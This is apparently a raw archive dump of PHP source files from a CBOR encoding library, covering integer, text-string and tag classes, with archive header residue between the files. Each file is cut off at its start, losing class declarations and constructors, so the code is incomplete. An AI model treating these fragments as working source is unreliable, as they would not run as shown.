$ai = 26; $data = self::hex2bin(str_pad($computed_value->toBase(16), 8, '0', STR_PAD_LEFT)); break; default: throw new InvalidArgumentException('Out of range. Please use NegativeBigIntegerTag tag with ByteStringObject object instead.'); } return new self($ai, $data); } private static function hex2bin(string $data): string { $result = hex2bin($data); if (false === $result) { throw new InvalidArgumentException('Unable to convert the data'); } return $result; } } Stream.php000066600000000477151726616140006535 0ustar00resource = $resource; } public function read(int $length): string { if (0 === $length) { return ''; } $data = fread($this->resource, $length); if (false === $data) { throw new RuntimeException('Unable to read the memory'); } if (mb_strlen($data, '8bit') !== $length) { throw new InvalidArgumentException(sprintf('Out of range. Expected: %d, read: %d.', $length, mb_strlen($data, '8bit'))); } return $data; } } Tag/Base16EncodingTag.php000066600000003377151726616140011143 0ustar00object->getNormalizedData($ignoreTags); } if (!$this->object instanceof ByteStringObject && !$this->object instanceof ByteStringWithChunkObject && !$this->object instanceof TextStringObject && !$this->object instanceof TextStringWithChunkObject) { return $this->object->getNormalizedData($ignoreTags); } return bin2hex($this->object->getNormalizedData($ignoreTags)); } } Tag/Base64EncodingTag.php000066600000003637151726616140011145 0ustar00object->getNormalizedData($ignoreTags); } if (!$this->object instanceof ByteStringObject && !$this->object instanceof ByteStringWithChunkObject && !$this->object instanceof TextStringObject && !$this->object instanceof TextStringWithChunkObject) { return $this->object->getNormalizedData($ignoreTags); } $result = base64_decode($this->object->getNormalizedData($ignoreTags), true); if (false === $result) { throw new InvalidArgumentException('Unable to decode the data'); } return $result; } } Tag/Base64UrlEncodingTag.php000066600000003445151726616140011625 0ustar00object->getNormalizedData($ignoreTags); } if (!$this->object instanceof ByteStringObject && !$this->object instanceof ByteStringWithChunkObject && !$this->object instanceof TextStringObject && !$this->object instanceof TextStringWithChunkObject) { return $this->object->getNormalizedData($ignoreTags); } return Base64Url::decode($this->object->getNormalizedData($ignoreTags)); } } Tag/BigFloatTag.php000066600000006473151726616140010142 0ustar00get(0); if (!$e instanceof UnsignedIntegerObject && !$e instanceof SignedIntegerObject) { throw new InvalidArgumentException('The exponent must be a Signed Integer or an Unsigned Integer object.'); } $m = $object->get(1); if (!$m instanceof UnsignedIntegerObject && !$m instanceof SignedIntegerObject && !$m instanceof NegativeBigIntegerTag && !$m instanceof PositiveBigIntegerTag) { throw new InvalidArgumentException('The mantissa must be a Positive or Negative Signed Integer or an Unsigned Integer object.'); } return new self(5, null, $object); } public static function createFromExponentAndMantissa(CBORObject $e, CBORObject $m): Base { $object = new ListObject(); $object->add($e); $object->add($m); return self::create($object); } public function getNormalizedData(bool $ignoreTags = false) { if ($ignoreTags) { return $this->object->getNormalizedData($ignoreTags); } if (!$this->object instanceof ListObject || 2 !== count($this->object)) { return $this->object->getNormalizedData($ignoreTags); } $e = $this->object->get(0); $m = $this->object->get(1); if (!$e instanceof UnsignedIntegerObject && !$e instanceof SignedIntegerObject) { return $this->object->getNormalizedData($ignoreTags); } if (!$m instanceof UnsignedIntegerObject && !$m instanceof SignedIntegerObject && !$m instanceof NegativeBigIntegerTag && !$m instanceof PositiveBigIntegerTag) { return $this->object->getNormalizedData($ignoreTags); } return rtrim( bcmul( $m->getNormalizedData($ignoreTags), bcpow( '2', $e->getNormalizedData($ignoreTags), 100), 100), '0' ); } } Tag/DecimalFractionTag.php000066600000006153151726616140011472 0ustar00get(0); if (!$e instanceof UnsignedIntegerObject && !$e instanceof SignedIntegerObject) { throw new InvalidArgumentException('The exponent must be a Signed Integer or an Unsigned Integer object.'); } $m = $object->get(1); if (!$m instanceof UnsignedIntegerObject && !$m instanceof SignedIntegerObject && !$m instanceof NegativeBigIntegerTag && !$m instanceof PositiveBigIntegerTag) { throw new InvalidArgumentException('The mantissa must be a Positive or Negative Signed Integer or an Unsigned Integer object.'); } parent::__construct(4, null, $object); } public static function getTagId(): int { return 4; } public static function createFromLoadedData(int $additionalInformation, ?string $data, CBORObject $object): Base { return new self($object); } public static function createFromExponentAndMantissa(CBORObject $e, CBORObject $m): Base { $object = new ListObject(); $object->add($e); $object->add($m); return new self($object); } public function getNormalizedData(bool $ignoreTags = false) { if ($ignoreTags) { return $this->object->getNormalizedData($ignoreTags); } if (!$this->object instanceof ListObject || 2 !== count($this->object)) { return $this->object->getNormalizedData($ignoreTags); } $e = $this->object->get(0); $m = $this->object->get(1); if (!$e instanceof UnsignedIntegerObject && !$e instanceof SignedIntegerObject) { return $this->object->getNormalizedData($ignoreTags); } if (!$m instanceof UnsignedIntegerObject && !$m instanceof SignedIntegerObject && !$m instanceof NegativeBigIntegerTag && !$m instanceof PositiveBigIntegerTag) { return $this->object->getNormalizedData($ignoreTags); } return rtrim( bcmul( $m->getNormalizedData($ignoreTags), bcpow( '10', $e->getNormalizedData($ignoreTags), 100), 100), '0' ); } } Tag/EpochTag.php000066600000002024151726616140007475 0ustar00object->getNormalizedData($ignoreTags); } return DateTimeImmutable::createFromFormat(DATE_RFC3339, $this->object->getNormalizedData($ignoreTags)); } } Tag/GenericTag.php000066600000001321151726616140010012 0ustar00object; } } Tag/NegativeBigIntegerTag.php000066600000002702151726616140012144 0ustar00object->getNormalizedData($ignoreTags); } if (!$this->object instanceof ByteStringObject) { return $this->object->getNormalizedData($ignoreTags); } $integer = BigInteger::fromBase(bin2hex($this->object->getValue()), 16); $minusOne = BigInteger::of(-1); return $minusOne->minus($integer)->toBase(10); } } Tag/PositiveBigIntegerTag.php000066600000002505151726616140012205 0ustar00object->getNormalizedData($ignoreTags); } if (!$this->object instanceof ByteStringObject) { return $this->object->getNormalizedData($ignoreTags); } return Utils::hexToString($this->object->getValue()); } } Tag/TagObjectManager.php000066600000002544151726616140011147 0ustar00classes[$class::getTagId()] = $class; } public function getClassForValue(int $value): string { return array_key_exists($value, $this->classes) ? $this->classes[$value] : GenericTag::class; } public function createObjectForValue(int $additionalInformation, ?string $data, CBORObject $object): TagObject { $value = $additionalInformation; if ($additionalInformation >= 24) { Assertion::string($data, 'Invalid data'); $value = Utils::binToInt($data); } /** @var TagObject $class */ $class = $this->getClassForValue($value); return $class::createFromLoadedData($additionalInformation, $data, $object); } } Tag/TimestampTag.php000066600000004101151726616140010400 0ustar00object->getNormalizedData($ignoreTags); } switch (true) { case $this->object instanceof UnsignedIntegerObject: return DateTimeImmutable::createFromFormat('U', strval($this->object->getNormalizedData($ignoreTags))); case $this->object instanceof HalfPrecisionFloatObject: case $this->object instanceof SinglePrecisionFloatObject: case $this->object instanceof DoublePrecisionFloatObject: return DateTimeImmutable::createFromFormat('U.u', strval($this->object->getNormalizedData($ignoreTags))); default: return $this->object->getNormalizedData($ignoreTags); } } } TagObject.php000066600000002307151726616150007137 0ustar00data = $data; $this->object = $object; } public function __toString(): string { $result = parent::__toString(); if (null !== $this->data) { $result .= $this->data; } $result .= (string) $this->object; return $result; } abstract public static function getTagId(): int; abstract public static function createFromLoadedData(int $additionalInformation, ?string $data, CBORObject $object): self; public function getValue(): CBORObject { return $this->object; } } TextStringObject.php000066600000002373151726616150010542 0ustar00data = $data; $this->length = $length; } public function __toString(): string { $result = parent::__toString(); if (null !== $this->length) { $result .= $this->length; } $result .= $this->data; return $result; } public function getValue(): string { return $this->data; } public function getLength(): int { return mb_strlen($this->data, 'utf8'); } public function getNormalizedData(bool $ignoreTags = false): string { return $this->data; } } TextStringWithChunkObject.php000066600000003524151726616150012366 0ustar00data as $object) { $result .= (string) $object; } $bin = hex2bin('FF'); if (false === $bin) { throw new InvalidArgumentException('Unable to convert the data'); } $result .= $bin; return $result; } public function add(TextStringObject $chunk): void { $this->data[] = $chunk; } public function append(string $chunk): void { $this->add(new TextStringObject($chunk)); } public function getValue(): string { $result = ''; foreach ($this->data as $object) { $result .= $object->getValue(); } return $result; } public function getLength(): int { $length = 0; foreach ($this->data as $object) { $length += $object->getLength(); } return $length; } public function getNormalizedData(bool $ignoreTags = false): string { $result = ''; foreach ($this->data as $object) { $result .= $object->getNormalizedData($ignoreTags); } return $result; } } UnsignedIntegerObject.php000066600000011556151726616150011524 0ustar00data = $data; } public function __toString(): string { $result = parent::__toString(); if (null !== $this->data) { $result .= $this->data; } return $result; } public static function createObjectForValue(int $additionalInformation, ?string $data): self { return new self($additionalInformation, $data); } public static function create(int $value): self { return self::createFromString((string) $value); } public static function createFromHex(string $value): self { $integer = BigInteger::fromBase($value, 16); return self::createBigInteger($integer); } public static function createFromString(string $value): self { $integer = BigInteger::of($value); return self::createBigInteger($integer); } /** * @deprecated Deprecated since v1.1 and will be removed in v2.0. Please use "create" or "createFromString" instead */ public static function createFromGmpValue(GMP $value): self { if (gmp_cmp($value, gmp_init(0)) < 0) { throw new InvalidArgumentException('The value must be a positive integer.'); } switch (true) { case gmp_cmp($value, gmp_init(24)) < 0: $ai = gmp_intval($value); $data = null; break; case gmp_cmp($value, gmp_init('FF', 16)) < 0: $ai = 24; $data = self::hex2bin(str_pad(gmp_strval($value, 16), 2, '0', STR_PAD_LEFT)); break; case gmp_cmp($value, gmp_init('FFFF', 16)) < 0: $ai = 25; $data = self::hex2bin(str_pad(gmp_strval($value, 16), 4, '0', STR_PAD_LEFT)); break; case gmp_cmp($value, gmp_init('FFFFFFFF', 16)) < 0: $ai = 26; $data = self::hex2bin(str_pad(gmp_strval($value, 16), 8, '0', STR_PAD_LEFT)); break; default: throw new InvalidArgumentException('Out of range. Please use PositiveBigIntegerTag tag with ByteStringObject object instead.'); } return new self($ai, $data); } public function getMajorType(): int { return self::MAJOR_TYPE; } public function getAdditionalInformation(): int { return $this->additionalInformation; } public function getValue(): string { return $this->getNormalizedData(); } public function getNormalizedData(bool $ignoreTags = false): string { if (null === $this->data) { return (string) $this->additionalInformation; } $integer = BigInteger::fromBase(bin2hex($this->data), 16); return $integer->toBase(10); } private static function createBigInteger(BigInteger $integer): self { if ($integer->isLessThan(BigInteger::zero())) { throw new InvalidArgumentException('The value must be a positive integer.'); } switch (true) { case $integer->isLessThan(BigInteger::of(24)): $ai = $integer->toInt(); $data = null; break; case $integer->isLessThan(BigInteger::fromBase('FF', 16)): $ai = 24; $data = self::hex2bin(str_pad($integer->toBase(16), 2, '0', STR_PAD_LEFT)); break; case $integer->isLessThan(BigInteger::fromBase('FFFF', 16)): $ai = 25; $data = self::hex2bin(str_pad($integer->toBase(16), 4, '0', STR_PAD_LEFT)); break; case $integer->isLessThan(BigInteger::fromBase('FFFFFFFF', 16)): $ai = 26; $data = self::hex2bin(str_pad($integer->toBase(16), 8, '0', STR_PAD_LEFT)); break; default: throw new InvalidArgumentException('Out of range. Please use PositiveBigIntegerTag tag with ByteStringObject object instead.'); } return new self($ai, $data); } private static function hex2bin(string $data): string { $result = hex2bin($data); if (false === $result) { throw new InvalidArgumentException('Unable to convert the data'); } return $result; } } Utils.php000066600000002123151726616150006371 0ustar00toInt(); } public static function binToBigInteger(string $value): BigInteger { return self::hexToBigInteger(bin2hex($value)); } public static function hexToInt(string $value): int { return self::hexToBigInteger($value)->toInt(); } public static function hexToBigInteger(string $value): BigInteger { return BigInteger::fromBase($value, 16); } public static function hexToString(string $value): string { return BigInteger::fromBase(bin2hex($value), 16)->toBase(10); } public static function intToHex(int $value): string { return BigInteger::of($value)->toBase(16); } }